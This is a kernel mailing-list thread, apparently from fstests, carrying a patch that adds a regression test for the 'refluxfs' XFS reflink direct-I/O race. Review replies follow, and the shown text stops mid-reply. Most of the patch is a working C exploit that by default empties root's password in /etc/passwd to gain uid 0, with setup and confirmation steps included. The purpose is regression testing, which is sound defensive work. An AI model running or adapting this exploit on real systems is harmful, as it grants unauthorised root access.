* [PATCH v2] generic: regression test for refluxfs fixes
@ 2026-08-21 23:51 Darrick J. Wong
2026-08-24 4:48 ` Christoph Hellwig
2026-08-24 14:05 ` Zorro Lang
0 siblings, 2 replies; 8+ messages in thread
From: Darrick J. Wong @ 2026-08-21 23:51 UTC (permalink / raw)
To: Zorro Lang; +Cc: qsa, fstests, xfs
From: Darrick J. Wong <djwong@kernel.org>
Regression test for refluxfs as found by Qualys.
Reported-by: qsa@qualys.com
Co-developed-by: qsa@qualys.com
Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
---
v2: add co-author credits
---
.gitignore | 1
src/Makefile | 2
src/refluxfs.c | 461 ++++++++++++++++++++++++++++++++++++++++++++++++
tests/generic/1956 | 58 ++++++
tests/generic/1956.out | 2
5 files changed, 523 insertions(+), 1 deletion(-)
create mode 100644 src/refluxfs.c
create mode 100755 tests/generic/1956
create mode 100644 tests/generic/1956.out
diff --git a/.gitignore b/.gitignore
index d52ba4ad30852b..b5d85c9451f0a8 100644
--- a/.gitignore
+++ b/.gitignore
@@ -126,6 +126,7 @@ tags
/src/pwrite_mmap_blocked
/src/randholes
/src/readdir-while-renames
+/src/refluxfs
/src/rename
/src/renameat2
/src/resvtest
diff --git a/src/Makefile b/src/Makefile
index 0ff607ae15930d..04a73b76546241 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -36,7 +36,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
- rw_hint btrfs_ioctl
+ rw_hint btrfs_ioctl refluxfs
EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
btrfs_crc32c_forged_name.py popdir.pl popattr.py \
diff --git a/src/refluxfs.c b/src/refluxfs.c
new file mode 100644
index 00000000000000..6367c0390f681d
--- /dev/null
+++ b/src/refluxfs.c
@@ -0,0 +1,461 @@
+/* refluxfs.c -- RefluXFS PoC (CVE-2026-XXXXX)
+ *
+ * This PoC targets /etc/passwd (always world-readable, arch-independent, easy
+ * to verify and revert). It never opens the target for write; the corrupting
+ * DIO is issued against the attacker-owned CLONE, whose stale imap points at
+ * the target's block. Before racing, it saves a full BYTE-COPY backup of the
+ * target (read/write -- never reflink, so it takes no refcount on the block).
+ * On success it leaves /etc/passwd modified so you can `su` (empty password),
+ * confirm uid=0, and restore from the backup.
+ *
+ * Build: cc -O2 -pthread -o refluxfs refluxfs.c
+ * Run: ./refluxfs # zero-arg defaults; safe to Ctrl-C
+ *
+ * Exit: 0 vulnerable (race fired; target left modified, backup saved)
+ * 1 precondition unmet, or runtime error (with a specific reason)
+ * 2 race did not fire (budget exhausted or interrupted)
+ */
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <errno.h>
+#include <signal.h>
+#include <stdarg.h>
+#include <stdint.h>
+#include <time.h>
+#include <sys/ioctl.h>
+#include <sys/utsname.h>
+#include <sys/stat.h>
+#include <sys/vfs.h>
+#include <linux/fs.h>
+#include <linux/magic.h>
+#include <linux/fiemap.h>
+#include <stdatomic.h>
+
+#ifndef FICLONE
+#define FICLONE _IOW(0x94, 9, int)
+#endif
+#ifndef XFS_SUPER_MAGIC
+#define XFS_SUPER_MAGIC 0x58465342
+#endif
+
+#define BLK 4096
+
+/* ---- configuration (overridable via CLI) --------------------------------- */
+static const char *target_path = "/etc/passwd";
+static const char *clone_dir = "/var/tmp";
+static int nr_writers = 32;
+static int nr_pressure = 8;
+static int budget_s = 300;
+
+/* ---- state --------------------------------------------------------------- */
+static char workdir[512], clone_path[600], backup_path[600];
+static int target_fd_ro = -1;
+static unsigned char golden[BLK]; /* first block of target, verbatim */
+static ssize_t golden_len; /* == min(i_size, BLK) */
+static unsigned char *dio_buf; /* BLK-aligned; every writer pwrites */
+static int keep_backup; /* set on success; gates atexit() */
+static atomic_int sigint; /* set by handler; read only by main */
+static atomic_int stop; /* set by main; read by threads */
+static long rounds;
+static pthread_barrier_t bar;
+
+/* ---- helpers ------------------------------------------------------------- */
+__attribute__((format(printf, 2, 3)))
+static void say(const char *tag, const char *fmt, ...)
+{
+ va_list ap; va_start(ap, fmt);
+ fprintf(stderr, "[%s] ", tag);
+ vfprintf(stderr, fmt, ap);
+ fprintf(stderr, "\n");
+ va_end(ap);
+}
+#define OK(...) say("+", __VA_ARGS__)
+#define BAD(...) say("!", __VA_ARGS__)
+#define INFO(...) say("*", __VA_ARGS__)
+
+static void die(int code, const char *why, const char *hint)
+{
+ BAD("%s: %s", why, strerror(errno));
+ if (hint) INFO("%s", hint);
+ exit(code);
+}
+
+static void on_signal(int sig)
+{
+ (void)sig;
+ atomic_store(&sigint, 1);
+}
+
+/* Registered with atexit() as soon as workdir exists; runs on every exit
+ * path (die(), preflight refusal, timeout, success). Always removes clone
+ * and pressure files; removes backup + workdir unless the run succeeded. */
+static void cleanup(void)
+{
+ unlink(clone_path);
+ for (int i = 0; i < nr_pressure; i++) {
+ char p[600]; snprintf(p, sizeof p, "%s/press.%d", workdir, i); unlink(p);
+ }
+ if (!keep_backup) {
+ unlink(backup_path);
+ rmdir(workdir);
+ }
+}
+
+/* ---- preflight ----------------------------------------------------------- */
+
+static int same_fs(const char *a, const char *b)
+{
+ struct stat sa, sb;
+ if (stat(a, &sa) || stat(b, &sb)) return -1;
+ return sa.st_dev == sb.st_dev;
+}
+
+#if 0
+static int is_xfs(const char *p)
+{
+ struct statfs s;
+ if (statfs(p, &s)) return -1;
+ return s.f_type == XFS_SUPER_MAGIC;
+}
+#endif
+
+/* FIEMAP: is the target's first extent already shared (refcount > 1)?
+ * If so the race can never see refcount==1. */
+static int target_first_extent_shared(void)
+{
+ union {
+ struct fiemap fm;
+ char raw[sizeof(struct fiemap) + sizeof(struct fiemap_extent)];
+ } q;
+ memset(&q, 0, sizeof q);
+ q.fm.fm_length = BLK;
+ q.fm.fm_flags = FIEMAP_FLAG_SYNC;
+ q.fm.fm_extent_count = 1;
+ if (ioctl(target_fd_ro, FS_IOC_FIEMAP, &q) < 0) return -1; /* unknown */
+ if (q.fm.fm_mapped_extents < 1) return -1;
+ return (q.fm.fm_extents[0].fe_flags & FIEMAP_EXTENT_SHARED) ? 1 : 0;
+}
+
+static void preflight(void)
+{
+ struct stat st;
+
+ /* 1. target readable */
+ target_fd_ro = open(target_path, O_RDONLY);
+ if (target_fd_ro < 0)
+ die(1, "open target O_RDONLY",
+ "Target must be world-readable. /etc/passwd is on every distro.");
+ if (fstat(target_fd_ro, &st)) die(1, "fstat target", NULL);
+ golden_len = pread(target_fd_ro, golden, BLK, 0);
+ if (golden_len < 0) die(1, "read target", NULL);
+ OK("target %s: readable, %lld bytes (using first %zd)",
+ target_path, (long long)st.st_size, golden_len);
+ if (st.st_blksize != BLK)
+ INFO("note: st_blksize=%ld != %d -- this PoC assumes 4K fs blocks "
+ "and may false-negative otherwise.", (long)st.st_blksize, BLK);
+
+ /* We only assume line 1 is `root:x:...` -- universal on shadow-using Linux.
+ * `root::...` means a previous run already emptied the password field. */
+ if (golden_len >= 6 && !memcmp(golden, "root::", 6)) {
+ BAD("target line 1 already has an empty password field (root::).");
+ INFO("A previous run left it modified. Restore first (as root, or `su`):");
+ INFO(" dd if=%s/.refluxfs-%d-PID/target.orig of=%s",
+ clone_dir, (int)getuid(), target_path);
+ INFO("(ls -d %s/.refluxfs-%d-* to find the right PID directory;",
+ clone_dir, (int)getuid());
+ INFO(" use dd -- cp, and recent coreutils cat, may reflink.)");
+ exit(1);
+ }
+ if (golden_len < 8 || memcmp(golden, "root:x:", 7) ||
+ !memchr(golden, '\n', golden_len)) {
+ BAD("target line 1 is not \"root:x:...\\n\" -- unexpected format.");
+ INFO("This PoC's payload assumes the standard shadow-backed root entry.");
+ INFO("Use -t to point at a different target or adjust the payload.");
+ exit(1);
+ }
+
+#if 0
+ /* 2. target on XFS */
+ int x = is_xfs(target_path);
+ if (x < 0) die(1, "statfs target", NULL);
+ if (!x) {
+ BAD("target is not on XFS (f_type != XFS_SUPER_MAGIC).");
+ INFO("RefluXFS only affects XFS with reflink=1 (mkfs.xfs default since");
+ INFO("xfsprogs 5.1.0; backported by Red Hat for RHEL 8 GA). Default root");
+ INFO("fs on RHEL/CentOS/Rocky/Alma/OL/CloudLinux 8+, Fedora Server 31+,");
+ INFO("Amazon Linux 2023.");
+ exit(1);
+ }
+ OK("target is on XFS");
+#endif
+
+ /* 3. clone_dir on the same superblock */
+ if (access(clone_dir, W_OK)) die(1, "clone dir not writable",
+ "Need a writable directory on the SAME XFS filesystem as the target.");
+ int s = same_fs(target_path, clone_dir);
+ if (s < 0) die(1, "stat clone dir", NULL);
+ if (!s) {
+ BAD("clone dir %s is NOT on the same filesystem as %s (st_dev differs).",
+ clone_dir, target_path);
+ INFO("FICLONE returns -EXDEV across superblocks. Use -d with a writable");
+ INFO("directory on the target's mount (findmnt -T %s).", target_path);
+ exit(1);
+ }
+ OK("clone dir %s: writable, same st_dev as target", clone_dir);
+
+ /* 4. workdir */
+ snprintf(workdir, sizeof workdir, "%s/.refluxfs-%d-%d",
+ clone_dir, (int)getuid(), (int)getpid());
+ if (mkdir(workdir, 0700) && errno != EEXIST)
+ die(1, "mkdir workdir", NULL);
+ snprintf(clone_path, sizeof clone_path, "%s/clone", workdir);
+ snprintf(backup_path, sizeof backup_path, "%s/target.orig", workdir);
+ atexit(cleanup); /* every exit() from here on cleans workdir */
+
+ /* Full BYTE-COPY backup of target (read/write, never FICLONE/
+ * copy_file_range -- must not take a refcount on the target's block). */
+ {
+ int bfd = open(backup_path, O_WRONLY|O_CREAT|O_TRUNC, 0600);
+ if (bfd < 0) die(1, "open backup", NULL);
+ unsigned char buf[8192]; ssize_t n; off_t off = 0;
+ while ((n = pread(target_fd_ro, buf, sizeof buf, off)) > 0) {
+ if (write(bfd, buf, n) != n) die(1, "write backup", NULL);
+ off += n;
+ }
+ if (n < 0) die(1, "read target for backup", NULL);
+ fsync(bfd); close(bfd);
+ OK("workdir %s", workdir);
+ OK("backup %s (%lld bytes, byte-copy -- no reflink taken)",
+ backup_path, (long long)off);
+ }
+
+ /* 5. abort if target's first extent is already shared (checked BEFORE we
+ * FICLONE ourselves and create a share). */
+ int sh = target_first_extent_shared();
+ if (sh == 1) {
+ BAD("target's first extent is ALREADY SHARED (FIEMAP_EXTENT_SHARED).");
+ INFO("The race needs refcount(X) to drop to exactly 1; a pre-existing");
+ INFO("reflink (e.g. `cp --reflink=auto` backup, coreutils >= 9.0 default)");
+ INFO("keeps it >= 2 and the race can never fire. Reset primitive:");
+ INFO(" chsh -s /usr/bin/bash");
+ INFO(" (or `-s /bin/bash` if that says 'Shell not changed.'; on");
+ INFO(" RHEL-family, chsh is in the optional util-linux-user pkg)");
+ INFO("This rewrites /etc/passwd via rename(2) as a fresh unshared inode.");
+ exit(1);
+ } else if (sh == 0) {
+ OK("target's first extent is not pre-shared (refcount==1)");
+ } else {
+ INFO("cannot determine sharing state via FIEMAP -- proceeding.");
+ }
+
+ /* 6. FICLONE actually works (=> reflink=1) */
+ int c = open(clone_path, O_RDWR|O_CREAT|O_TRUNC, 0600);
+ if (c < 0) die(1, "open clone", NULL);
+ if (ioctl(c, FICLONE, target_fd_ro) < 0) {
+ int e = errno;
+ BAD("FICLONE(clone <- target) failed: %s", strerror(e));
+ if (e == EOPNOTSUPP)
+ INFO("This XFS was made with reflink=0 (xfsprogs < 5.1.0 or explicit).");
+ else if (e == EXDEV)
+ INFO("Different filesystem after all -- pick another -d directory.");
+ close(c);
+ exit(1);
+ }
+ close(c);
+ OK("FICLONE works -- filesystem has reflink=1");
+
+ /* 7. O_DIRECT open + one aligned pwrite actually work. All writers share
+ * this one buffer -- payload never changes and pwrite() only reads it. */
+ if ((errno = posix_memalign((void **)&dio_buf, BLK, BLK)))
+ die(1, "posix_memalign", NULL);
+ memset(dio_buf, 0, BLK);
+ c = open(clone_path, O_RDWR|O_DIRECT);
+ if (c < 0) die(1, "open clone O_DIRECT",
+ "O_DIRECT is required to reach xfs_direct_write_iomap_begin().");
+ if (pwrite(c, dio_buf, BLK, 0) != BLK)
+ die(1, "O_DIRECT pwrite (alignment?)",
+ "This PoC assumes 4K DIO alignment (default on all target distros).");
+ close(c);
+ OK("O_DIRECT open + %d-byte aligned pwrite work on clone", BLK);
+}
+
+/* ---- race machinery ------------------------------------------------------ */
+
+static int reclone(void)
+{
+ int c = open(clone_path, O_RDWR|O_CREAT|O_TRUNC, 0600);
+ if (c < 0) return -errno;
+ int r = ioctl(c, FICLONE, target_fd_ro) < 0 ? -errno : 0;
+ close(c);
+ return r;
+}
+
+static int target_changed(void)
+{
+ unsigned char b[BLK] = {0};
+ /* DIO landed on disk under a different address_space; drop the target's
+ * (stale, clean) cached page so we re-read from disk. */
+ posix_fadvise(target_fd_ro, 0, 0, POSIX_FADV_DONTNEED);
+ ssize_t n = pread(target_fd_ro, b, golden_len, 0);
+ return n == golden_len && memcmp(b, golden, golden_len) != 0;
+}
+
+static void *writer(void *arg)
+{
+ (void)arg;
+ for (;;) {
+ pthread_barrier_wait(&bar); /* start of round */
+ if (atomic_load(&stop)) break; /* set only by main, only when
+ * every writer is parked here */
+ int fd = open(clone_path, O_RDWR|O_DIRECT);
+ if (fd >= 0) { (void)!pwrite(fd, dio_buf, BLK, 0); close(fd); }
+ pthread_barrier_wait(&bar); /* end of round */
+ }
+ return NULL;
+}
+
+static void *pressure(void *arg)
+{
+ char p[600];
+ snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg);
+ int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600);
+ if (fd < 0) return NULL;
+ char b = 0;
+ while (!atomic_load(&stop)) {
+ /* return values irrelevant -- goal is XFS log traffic, not the data */
+ (void)!pwrite(fd, &b, 1, 0);
+ (void)!ftruncate(fd, BLK);
+ fdatasync(fd);
+ (void)!ftruncate(fd, 0);
+ }
+ close(fd);
+ return NULL;
+}
+
+/* ---- main ---------------------------------------------------------------- */
+
+static void usage(const char *argv0)
+{
+ fprintf(stderr,
+ "usage: %s [-t target] [-d clone-dir] [-s seconds] [-w writers] [-p pressure]\n"
+ " -t target file (default /etc/passwd; line 1 must be root:x:...)\n"
+ " -d clone/work directory (default /var/tmp; must be writable, same XFS as -t)\n"
+ " -s budget in seconds (default 300)\n"
+ " -w concurrent DIO writers (default 32)\n"
+ " -p log-pressure threads (default 8)\n",
+ argv0);
+}
+
+int main(int argc, char **argv)
+{
+ int opt;
+ while ((opt = getopt(argc, argv, "t:d:s:w:p:h")) != -1) switch (opt) {
+ case 't': target_path = optarg; break;
+ case 'd': clone_dir = optarg; break;
+ case 's': budget_s = atoi(optarg); if (budget_s < 1) budget_s = 1; break;
+ case 'w': nr_writers = atoi(optarg); if (nr_writers < 2) nr_writers = 2; break;
+ case 'p': nr_pressure = atoi(optarg); if (nr_pressure < 0) nr_pressure = 0; break;
+ default: usage(argv[0]); return 1;
+ }
+
+ struct utsname un;
+ uname(&un);
+ INFO("RefluXFS PoC -- kernel %s", un.release);
+
+ /* Install handlers BEFORE preflight so Ctrl-C after workdir/clone creation
+ * still reaches atexit(cleanup) instead of leaving a reflinked clone (which
+ * would keep the target's extent SHARED and defeat every later run). */
+ signal(SIGINT, on_signal);
+ signal(SIGTERM, on_signal);
+
+ preflight();
+
+ /* Payload: surgical edit of line 1 only. `root:x:...\n` -> `root::...\n\n`.
+ * Shift the byte range [6, nl] one position left over the `x`; the
+ * original `\n` at position nl is untouched, so we get two consecutive
+ * newlines and every byte from line 2 onward stays at its ORIGINAL
+ * offset -- correct for any file size, no entry straddles a boundary. */
+ memcpy(dio_buf, golden, golden_len);
+ ssize_t nl = 0;
+ while (nl < golden_len && golden[nl] != '\n') nl++;
+ memmove(dio_buf + 5, dio_buf + 6, (size_t)nl - 5); /* nl>=7 by preflight */
+
+ /* threads */
+ if ((errno = pthread_barrier_init(&bar, NULL, nr_writers + 1)))
+ die(1, "pthread_barrier_init", NULL);
+ pthread_t *tw = calloc(nr_writers, sizeof *tw);
+ pthread_t *tp = calloc(nr_pressure ? nr_pressure : 1, sizeof *tp);
+ if (!tw || !tp) { BAD("calloc: out of memory"); exit(1); }
+ for (int i = 0; i < nr_writers; i++)
+ if ((errno = pthread_create(&tw[i], NULL, writer, NULL)))
+ die(1, "pthread_create writer", NULL);
+ for (int i = 0; i < nr_pressure; i++)
+ if ((errno = pthread_create(&tp[i], NULL, pressure, (void*)(intptr_t)i)))
+ die(1, "pthread_create pressure", NULL);
+
+ /* Race: reclone -> release all writers -> check target -> repeat. */
+ INFO("racing: %d writers + %d log-pressure threads, up to %ds ...",
+ nr_writers, nr_pressure, budget_s);
+ struct timespec t0, t; clock_gettime(CLOCK_MONOTONIC, &t0);
+ int rc = 2, e;
+ while (!atomic_load(&sigint)) {
+ if ((e = reclone()) < 0) {
+ fprintf(stderr, "\n");
+ BAD("reclone: %s", strerror(-e));
+ rc = 1; break;
+ }
+ rounds++;
+ pthread_barrier_wait(&bar); /* release writers */
+ pthread_barrier_wait(&bar); /* writers done */
+ if (target_changed()) { rc = 0; break; }
+ clock_gettime(CLOCK_MONOTONIC, &t);
+ long el = t.tv_sec - t0.tv_sec;
+ if (el >= budget_s) break;
+ if ((rounds & 0xff) == 0)
+ fprintf(stderr, "\r round %ld (%lds, ~%ld r/s) ",
+ rounds, el, el ? rounds/el : rounds);
+ }
+ fprintf(stderr, "\n");
+
+ /* Shutdown. Every path out of the loop above leaves each writer either
+ * already at (or on its way to) the start-barrier -- the loop never breaks
+ * between the two barrier_wait()s, and writers only test `stop`, which is
+ * still 0. Set `stop` now, cross the start-barrier once to release them;
+ * they observe `stop` immediately after and exit without a second wait. */
+ atomic_store(&stop, 1);
+ pthread_barrier_wait(&bar);
+ for (int i = 0; i < nr_writers; i++) pthread_join(tw[i], NULL);
+ for (int i = 0; i < nr_pressure; i++) pthread_join(tp[i], NULL);
+ free(tw); free(tp);
+
+ if (rc == 0) {
+ keep_backup = 1; /* atexit(cleanup) leaves backup + workdir */
+ char now[96] = {0};
+ if (pread(target_fd_ro, now, sizeof now - 1, 0) > 0)
+ for (char *q = now; *q; q++) if (*q == '\n') { *q = 0; break; }
+ BAD("=========================================================");
+ BAD("VULNERABLE -- %s block 0 overwritten via stale-imap DIO", target_path);
+ BAD("first line is now: %s", now);
+ BAD("hit at round %ld", rounds);
+ BAD("=========================================================");
+ fprintf(stderr, "\n");
+ INFO("Confirm: su (empty password -> `id` shows uid=0)");
+ INFO("Restore: # dd if=%s of=%s", backup_path, target_path);
+ INFO(" (as root; dd is read/write. Do NOT use cp or cat: cp");
+ INFO(" reflinks via FICLONE by default (>=9.0), and recent");
+ INFO(" coreutils cat uses copy_file_range() which also");
+ INFO(" reflinks -- either would leave the target SHARED.)");
+ } else if (rc == 2) {
+ OK("race did not fire in %ld rounds.", rounds);
+ if (!atomic_load(&sigint))
+ INFO("Kernel is likely PATCHED (or window too tight -- retry with larger -s / -w).");
+ }
+ return rc;
+}
diff --git a/tests/generic/1956 b/tests/generic/1956
new file mode 100755
index 00000000000000..bc926e4685408e
--- /dev/null
+++ b/tests/generic/1956
@@ -0,0 +1,58 @@
+#! /bin/bash
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2026 Oracle. All Rights Reserved.
+#
+# FS QA Test No. 1956
+#
+# Regression test for refluxfs, which is an exploit for a race condition in
+# XFS' directio copy-on-write code that can be used to rewrite shared blocks
+# to gain root privileges.
+#
+. ./common/preamble
+_begin_fstest auto rw clone
+
+_cleanup()
+{
+ cd /
+ rm -r -f $tmp.*
+ test -n "$dummydir" && rm -r -f "$dummydir"
+}
+
+. ./common/reflink
+
+_require_test_program "refluxfs"
+_require_test_reflink
+_require_odirect
+_require_user fsgqa
+_require_group fsgqa
+
+_fixed_by_fs_commit xfs 2f4acd0fcd862e \
+ "xfs: resample the data fork mapping after cycling ILOCK"
+
+dummydir="$TEST_DIR/$seq"
+
+rm -r -f "$dummydir"
+mkdir "$dummydir"
+
+fakedata="root:x:0:0:root:/root:/bin/bash"
+echo "$fakedata" > $dummydir/datafile
+
+# Try to trick the system into letting a different user make a reflink copy of
+# the data file and rewrite the shared data block to corrupt the contents.
+mkdir $dummydir/workdir
+chown $qa_user:$qa_group $dummydir/workdir
+_su $qa_user -c "$here/src/refluxfs -t $dummydir/datafile -d $dummydir/workdir -s $((30 * TIME_FACTOR))" &>> $seqres.full
+res=$?
+case "$res" in
+0) echo "vulnerable to corruption";;
+1) echo "runtime error";;
+2) echo "corruption not observed";;
+*) echo "unknown outcome $res";;
+esac
+
+result="$(cat $dummydir/datafile)"
+test "$result" != "$fakedata" && \
+ echo "shared data block rewritten, you have been pwned!"
+
+# success, all done
+_exit 0
diff --git a/tests/generic/1956.out b/tests/generic/1956.out
new file mode 100644
index 00000000000000..55d8be979b1486
--- /dev/null
+++ b/tests/generic/1956.out
@@ -0,0 +1,2 @@
+QA output created by 1956
+corruption not observed
^ permalink raw reply related [flat|nested] 8+ messages in thread
* Re: [PATCH v2] generic: regression test for refluxfs fixes
2026-08-21 23:51 [PATCH v2] generic: regression test for refluxfs fixes Darrick J. Wong
@ 2026-08-24 4:48 ` Christoph Hellwig
2026-08-24 14:05 ` Zorro Lang
1 sibling, 0 replies; 8+ messages in thread
From: Christoph Hellwig @ 2026-08-24 4:48 UTC (permalink / raw)
To: Darrick J. Wong; +Cc: Zorro Lang, qsa, fstests, xfs
On Fri, Aug 21, 2026 at 04:51:55PM -0700, Darrick J. Wong wrote:
> From: Darrick J. Wong <djwong@kernel.org>
>
> Regression test for refluxfs as found by Qualys.
Looks good:
Reviewed-by: Christoph Hellwig <hch@lst.de>
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH v2] generic: regression test for refluxfs fixes
2026-08-21 23:51 [PATCH v2] generic: regression test for refluxfs fixes Darrick J. Wong
2026-08-24 4:48 ` Christoph Hellwig
@ 2026-08-24 14:05 ` Zorro Lang
2026-08-24 16:45 ` Darrick J. Wong
2026-08-24 17:40 ` Darrick J. Wong
1 sibling, 2 replies; 8+ messages in thread
From: Zorro Lang @ 2026-08-24 14:05 UTC (permalink / raw)
To: Darrick J. Wong; +Cc: qsa, fstests, xfs
On Fri, Aug 21, 2026 at 04:51:55PM -0700, Darrick J. Wong wrote:
> From: Darrick J. Wong <djwong@kernel.org>
>
> Regression test for refluxfs as found by Qualys.
>
> Reported-by: qsa@qualys.com
> Co-developed-by: qsa@qualys.com
> Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> ---
> v2: add co-author credits
> ---
Hi Darrick,
I just gave this patch a try on linux v7.2+ which contains the commit
2f4acd0fcd862e, but the test still fails as shown below on both xfs
and btrfs. Did I miss anything?
root@bogon:~/git/linux# git tag --contains 2f4acd0fcd862e
v7.2
v7.2-rc4
v7.2-rc5
v7.2-rc6
v7.2-rc7
root@bogon:~/git/xfstests-dev# ./check generic/1956
FSTYP -- xfs (debug)
PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
MKFS_OPTIONS -- -f /dev/sdc1
MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
--- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
+++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:41:51.884222239 +0800
@@ -1,2 +1,2 @@
QA output created by 1956
-corruption not observed
+unknown outcome 126
...
(Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
HINT: You _MAY_ be missing kernel fix:
2f4acd0fcd862e xfs: resample the data fork mapping after cycling ILOCK
Ran: generic/1956
Failures: generic/1956
Failed 1 of 1 tests
root@bogon:~/git/xfstests-dev# ./check generic/1956
FSTYP -- btrfs
PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
MKFS_OPTIONS -- /dev/sdc1
MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
--- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
+++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:44:35.654443414 +0800
@@ -1,2 +1,2 @@
QA output created by 1956
-corruption not observed
+unknown outcome 126
...
(Run 'diff -u /root/git/xfstests-dev/tests/generic/1956.out /root/git/xfstests-dev/results//generic/1956.out.bad' to see the entire diff)
Ran: generic/1956
Failures: generic/1956
Failed 1 of 1 tests
> .gitignore | 1
> src/Makefile | 2
> src/refluxfs.c | 461 ++++++++++++++++++++++++++++++++++++++++++++++++
> tests/generic/1956 | 58 ++++++
> tests/generic/1956.out | 2
> 5 files changed, 523 insertions(+), 1 deletion(-)
> create mode 100644 src/refluxfs.c
> create mode 100755 tests/generic/1956
> create mode 100644 tests/generic/1956.out
>
[snip]
> +#ifndef FICLONE
> +#define FICLONE _IOW(0x94, 9, int)
> +#endif
> +#ifndef XFS_SUPER_MAGIC
> +#define XFS_SUPER_MAGIC 0x58465342
> +#endif
> +
> +#define BLK 4096
This's a hard code, what if the fs blocksize or pagesize isn't 4096?
> +
> +/* ---- configuration (overridable via CLI) --------------------------------- */
> +static const char *target_path = "/etc/passwd";
> +static const char *clone_dir = "/var/tmp";
> +static int nr_writers = 32;
> +static int nr_pressure = 8;
> +static int budget_s = 300;
> +
[snip]
> +
> +#if 0
> +static int is_xfs(const char *p)
> +{
> + struct statfs s;
> + if (statfs(p, &s)) return -1;
> + return s.f_type == XFS_SUPER_MAGIC;
> +}
> +#endif
If this's useless, how about remove them?
> +
> +/* FIEMAP: is the target's first extent already shared (refcount > 1)?
> + * If so the race can never see refcount==1. */
> +static int target_first_extent_shared(void)
> +{
[snip]
> +#if 0
> + /* 2. target on XFS */
> + int x = is_xfs(target_path);
> + if (x < 0) die(1, "statfs target", NULL);
> + if (!x) {
> + BAD("target is not on XFS (f_type != XFS_SUPER_MAGIC).");
> + INFO("RefluXFS only affects XFS with reflink=1 (mkfs.xfs default since");
> + INFO("xfsprogs 5.1.0; backported by Red Hat for RHEL 8 GA). Default root");
> + INFO("fs on RHEL/CentOS/Rocky/Alma/OL/CloudLinux 8+, Fedora Server 31+,");
> + INFO("Amazon Linux 2023.");
> + exit(1);
> + }
> + OK("target is on XFS");
> +#endif
Same
> +
> + /* 3. clone_dir on the same superblock */
> + if (access(clone_dir, W_OK)) die(1, "clone dir not writable",
> + "Need a writable directory on the SAME XFS filesystem as the target.");
[snip]
> +static void *pressure(void *arg)
> +{
> + char p[600];
> + snprintf(p, sizeof p, "%s/press.%d", workdir, (int)(intptr_t)arg);
> + int fd = open(p, O_RDWR|O_CREAT|O_TRUNC, 0600);
> + if (fd < 0) return NULL;
> + char b = 0;
> + while (!atomic_load(&stop)) {
> + /* return values irrelevant -- goal is XFS log traffic, not the data */
> + (void)!pwrite(fd, &b, 1, 0);
> + (void)!ftruncate(fd, BLK);
> + fdatasync(fd);
> + (void)!ftruncate(fd, 0);
As this's a generic test case, the pressure() works for XFS CIL, does it work
for other filesystems?
Thanks,
Zorro
^ permalink raw reply [flat|nested] 8+ messages in thread
* Re: [PATCH v2] generic: regression test for refluxfs fixes
2026-08-24 14:05 ` Zorro Lang
@ 2026-08-24 16:45 ` Darrick J. Wong
2026-08-24 18:15 ` Zorro Lang
2026-08-24 17:40 ` Darrick J. Wong
1 sibling, 1 reply; 8+ messages in thread
From: Darrick J. Wong @ 2026-08-24 16:45 UTC (permalink / raw)
To: qsa, fstests, xfs
On Mon, Aug 24, 2026 at 10:05:25PM +0800, Zorro Lang wrote:
> On Fri, Aug 21, 2026 at 04:51:55PM -0700, Darrick J. Wong wrote:
> > From: Darrick J. Wong <djwong@kernel.org>
> >
> > Regression test for refluxfs as found by Qualys.
> >
> > Reported-by: qsa@qualys.com
> > Co-developed-by: qsa@qualys.com
> > Signed-off-by: "Darrick J. Wong" <djwong@kernel.org>
> > ---
> > v2: add co-author credits
> > ---
>
> Hi Darrick,
>
> I just gave this patch a try on linux v7.2+ which contains the commit
> 2f4acd0fcd862e, but the test still fails as shown below on both xfs
> and btrfs. Did I miss anything?
>
> root@bogon:~/git/linux# git tag --contains 2f4acd0fcd862e
> v7.2
> v7.2-rc4
> v7.2-rc5
> v7.2-rc6
> v7.2-rc7
>
> root@bogon:~/git/xfstests-dev# ./check generic/1956
> FSTYP -- xfs (debug)
> PLATFORM -- Linux/x86_64 bogon 7.2.0-mainline+ #3 SMP PREEMPT_DYNAMIC Mon Aug 24 20:34:26 CST 2026
> MKFS_OPTIONS -- -f /dev/sdc1
> MOUNT_OPTIONS -- -o context=system_u:object_r:root_t:s0 /dev/sdc1 /mnt/scratch
>
> generic/1956 - output mismatch (see /root/git/xfstests-dev/results//generic/1956.out.bad)
> --- tests/generic/1956.out 2026-08-24 14:19:18.790104900 +0800
> +++ /root/git/xfstests-dev/results//generic/1956.out.bad 2026-08-24 21:41:51.884222239 +0800
> @@ -1,2 +1,2 @@
> QA output created by 1956
> -corruption not observed
> +unknown outcome 126
126 is probably su trying to communicate that it couldn't actually run
